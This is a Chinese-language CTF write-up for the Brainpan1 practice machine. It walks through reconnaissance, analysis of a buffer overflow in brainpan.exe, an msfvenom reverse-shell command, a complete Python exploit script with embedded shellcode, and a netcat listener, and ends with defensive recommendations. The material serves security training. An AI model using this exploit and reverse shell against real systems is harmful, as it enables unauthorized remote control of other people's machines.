打靶日记——Brainpan1
字数 1136 2025-08-29 08:29:41
Brainpan1 靶机渗透教学文档
1. 靶机概述
Brainpan1 是一个经典的渗透测试靶机,主要考察缓冲区溢出漏洞利用技术。该靶机运行了一个自定义的 Windows 可执行程序,通过分析该程序的漏洞来获取系统权限。
2. 信息收集阶段
2.1 主机发现
使用工具:nmap、netdiscover 或 arp-scan
nmap -sn 192.168.1.0/24
2.2 端口扫描
扫描结果:
- 端口 9999:未知服务
- 端口 10000:HTTP 服务 (Python 实现)
nmap -sV -sC -p- 192.168.1.100
2.3 Web 服务枚举
访问 10000 端口 HTTP 服务:
- 页面显示无意义的图片和垃圾话
- 使用目录扫描工具发现隐藏目录
gobuster dir -u http://192.168.1.100:10000 -w /path/to/wordlist.txt
发现 /bin 目录,其中包含一个可执行文件 brainpan.exe
3. 文件分析
3.1 下载并检查 brainpan.exe
wget http://192.168.1.100:10000/bin/brainpan.exe
文件属性:
- 32 位 Windows 可执行文件
- 未加壳
- 使用
strings命令发现疑似密码的字符串
3.2 运行程序测试
在 Windows 环境中运行:
- 程序监听一个端口
- 连接后显示菜单界面
- 输入字符会被记录
4. 漏洞分析
4.1 缓冲区溢出漏洞
- 使用
nc连接 9999 端口 - 尝试输入长字符串测试缓冲区溢出
- 观察程序崩溃行为
nc 192.168.1.100 9999
4.2 漏洞利用步骤
-
确定偏移量:
- 使用模式字符串生成工具 (如
msf-pattern_create) - 发送模式字符串使程序崩溃
- 检查 EIP 值确定偏移量
- 使用模式字符串生成工具 (如
-
检查坏字符:
- 发送包含所有可能的字节
- 观察哪些字符导致异常
-
查找 JMP ESP 指令:
- 使用
mona或其他工具在程序或系统 DLL 中查找 - 计算返回地址
- 使用
-
生成 shellcode:
- 使用
msfvenom生成反向 shell - 避开坏字符
- 使用
msfvenom -p windows/shell_reverse_tcp LHOST=your_ip LPORT=4444 -f python -b "\x00"
- 构造 payload:
- [偏移量填充] + [JMP ESP 地址] + [NOP sled] + [shellcode]
5. 漏洞利用
5.1 利用脚本示例
import socket
import struct
host = "192.168.1.100"
port = 9999
# 偏移量
offset = 524
# JMP ESP 地址 (示例,需根据实际情况修改)
jmp_esp = struct.pack("<I", 0x311712F3)
# NOP sled
nops = "\x90" * 16
# Shellcode (示例)
shellcode = (
"\xdb\xc0\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x12\x31\x42\x17\x03"
"\x42\x17\x83\xc2\x04\x32\xe2\xe9\xf4\xa3\x0b\x7a\x05\xcb\x9d"
"\x3f\xe8\x4c\x3e\x4b\x4a\x0f\x40\x1a\x4a\xa3\xa3\x53\x1b\x44"
"\x2b\x36\x4c\xd3\x5d\x9f\x63\x5c\xeb\xf9\x4a\x5e\x6b\x3a\x0d"
"\xdc\x72\x8c\xad\x0f\xbc\x6d\x76\x8e\x3f\x03\x0d\x61\x3f\xa3"
"\x81\x07\x75\x7f\x29\x54\x75\xc7\xce\xa7\x74\x58\x9e\xd8\xf6"
"\x1b\x20\x4d\x6f\x7b"
)
payload = "A" * offset + jmp_esp + nops + shellcode
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload + "\n")
s.close()
except:
print "Error connecting to server"
5.2 获取反向 shell
- 在攻击机上设置监听:
nc -lvnp 4444
- 运行 exploit 脚本
- 获取 shell 后提升权限
6. 总结
- 通过信息收集发现异常端口和服务
- 下载并分析可疑的可执行文件
- 识别缓冲区溢出漏洞
- 计算偏移量和查找返回地址
- 生成并发送精心构造的 payload
- 获取系统权限
7. 防御建议
- 对用户输入进行严格验证
- 使用现代编译器的安全特性 (/GS, DEP, ASLR)
- 实现输入长度限制
- 定期进行安全审计和渗透测试
8. 扩展学习
- Windows 缓冲区溢出原理
- 结构化异常处理 (SEH) 利用
- Return-oriented programming (ROP)
- 现代缓解技术及其绕过方法